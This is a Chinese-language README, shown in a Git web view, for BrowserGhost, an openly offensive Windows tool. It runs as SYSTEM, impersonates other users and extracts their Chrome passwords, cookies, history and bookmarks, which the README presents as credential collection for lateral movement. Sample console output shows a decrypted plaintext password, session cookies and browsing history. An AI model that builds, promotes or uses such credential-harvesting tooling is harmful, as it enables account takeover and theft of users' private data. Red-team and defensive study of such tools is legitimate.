BrowserGhost/README.md

105 lines
4.2 KiB
Markdown
Raw Normal View History

2020-06-12 05:19:07 -07:00
# BrowserGhost
2020-06-12 05:19:23 -07:00
## 介绍:
2020-06-12 05:19:07 -07:00
这是一个抓取浏览器密码的工具,后续会添加更多功能
2020-06-12 05:19:23 -07:00
2020-06-12 20:09:52 -07:00
## 当前已经完成的功能:
2020-06-12 05:19:23 -07:00
- 实现system抓机器上其他用户的浏览器密码(方便横向移动时快速凭据采集)
- 用.net2 实现可兼容大部分windows并去掉依赖(不需要System.Data.SQLite.dll这些累赘)
- 可以解密chrome全版本密码(chrome80版本后加密方式变了)
2020-06-12 20:09:52 -07:00
- 已经可以获取login data、cookie、history、book了
2020-06-12 05:19:23 -07:00
## 即将去做:
2020-06-12 20:09:52 -07:00
- 优化输出
2020-06-12 20:12:42 -07:00
- 监控实时cookie
2020-06-12 05:19:23 -07:00
- 兼容主流浏览器(ie、firefox、360极速浏览器等)
2020-06-12 20:09:52 -07:00
```
C:\Users\Administrator\Desktop>BrowserGhost.exe
[+] Current user Administrator
[*] [1176] [explorer] [Administrator]
[*] Impersonate user Administrator
[*] Current user Administrator
[*] Start Get Chrome Login Data
[+] Copy C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data to C:\Users\Administrator\AppData\Local\Temp\tmp1B7D.tmp
[URL] -> https://github.com/login
[USERNAME] -> n0thing@gmail.com
[PASSWORD] -> Iloveprettygirls
[+] Delete File C:\Users\Administrator\AppData\Local\Temp\tmp1B7D.tmp
[*] Start Get Chrome Bookmarks
{
"checksum": "c2ed0a404ff1dce21f0a229055b7cb36",
"roots": {
"bookmark_bar": {
"children": [ {
"date_added": "13236485210177330",
"guid": "4858fd46-732b-4756-b27f-7d89efaff625",
"id": "5",
"name": "The worlds leading software development platform · GitHub",
"type": "url",
"url": "https://github.com/"
} ],
"date_added": "13236485205390236",
"date_modified": "13236485210177330",
"guid": "00000000-0000-4000-a000-000000000002",
"id": "1",
"name": "书签栏",
"type": "folder"
},
"other": {
"children": [ ],
"date_added": "13236485205390251",
"date_modified": "0",
"guid": "00000000-0000-4000-a000-000000000003",
"id": "2",
"name": "其他书签",
"type": "folder"
},
"synced": {
"children": [ ],
"date_added": "13236485205390252",
"date_modified": "0",
"guid": "00000000-0000-4000-a000-000000000004",
"id": "3",
"name": "移动设备书签",
"type": "folder"
}
},
"version": 1
}
[*] Start Get Chrome Cookie
[+] Copy C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cookies to C:\Users\Administrator\AppData\Local\Temp\tmp1C1A.tmp
[.github.com] _octo=GH1.1.434863639.1591963566
[.github.com] logged_in=no
[github.com] _device_id=4a24785d8dccc12f062fb54c881820f3
[.github.com] _ga=GA1.2.1739362774.1591963568
[.google.com] 1P_JAR=2020-06-13-01
[.google.com.hk] 1P_JAR=2020-06-13-01
[.google.com] NID=204=bwGOYwnjfPBO2P6zRXqDBEFehuBPeyyf0AWBA8EIK22lqIgMvVtcu86OmszFqdooyW1JwrUQ2K4zIblpfJpxOMmj6Nrq-ofA1rNfOV5Wt5EB9l-qJOTuMTW5NMaZh2ofU-trKn_zHbWlVoUgkUnEFStR1Hl8w4rAu1rSyDKBVB0
[.google.com.hk] NID=204=K52w3WF9SZvbXw3sHwtQorzsLgyea_zafqVBrvkVatVJcKhOZbmMdUst2phNuQFu2oX4dJ3lYOcYlH7y5oo_aHDIiZu2LGOxt8scFmRrU7GrVu_0kQd6PJlErsgtPiUIIRIhQcskj09LdRYq-NJx7iM6eVsRLhS75c_aClm12eE
[github.com] _gh_sess=%2FelMYjTKT2jbqyRmUxwWNQC1DINuIy1CGbROibLbmmb4Y089cdHVRBrFia7ANm4e4UaK43QyNqujiEnnUzqViHxUe4QQhMgkId2V9AWkuc3zkElsz%2BuwIf4wJ1OQ1oc9J29QEyiz4SCwcXGj3d2eP7dzO8lf6Sjoerxo65afoHZ1sxs4Xl6UBthqpQcw4I95e5UXM4IJOvFHZ9qZEW4SytmX6DaEMVwD%2BsUKrfWSySxPmtFw3HhfDEpug6A00jPNiqBYbaS32YYyXfWcSKrZyA%3D%3D--DiSJEFqTgEoZ8IqK--Eq99ToeLqWcNBv%2BSFi6Y2g%3D%3D
[.github.com] tz=Asia%2FShanghai
[+] Delete File C:\Users\Administrator\AppData\Local\Temp\tmp1C1A.tmp
[*] Start Get Chrome History
[+] Copy C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\History to C:\Users\Administrator\AppData\Local\Temp\tmp1C3A.tmp
http://github.com/ The worlds leading software development platform · GitHub
https://github.com/ The worlds leading software development platform · GitHub
https://github.com/login Sign in to GitHub · GitHub
https://github.com/session Sign in to GitHub · GitHub
[+] Delete File C:\Users\Administrator\AppData\Local\Temp\tmp1C3A.tmp
[*] Recvtoself
[*] Current user Administrator
```
2020-06-12 20:30:23 -07:00
![](2.png)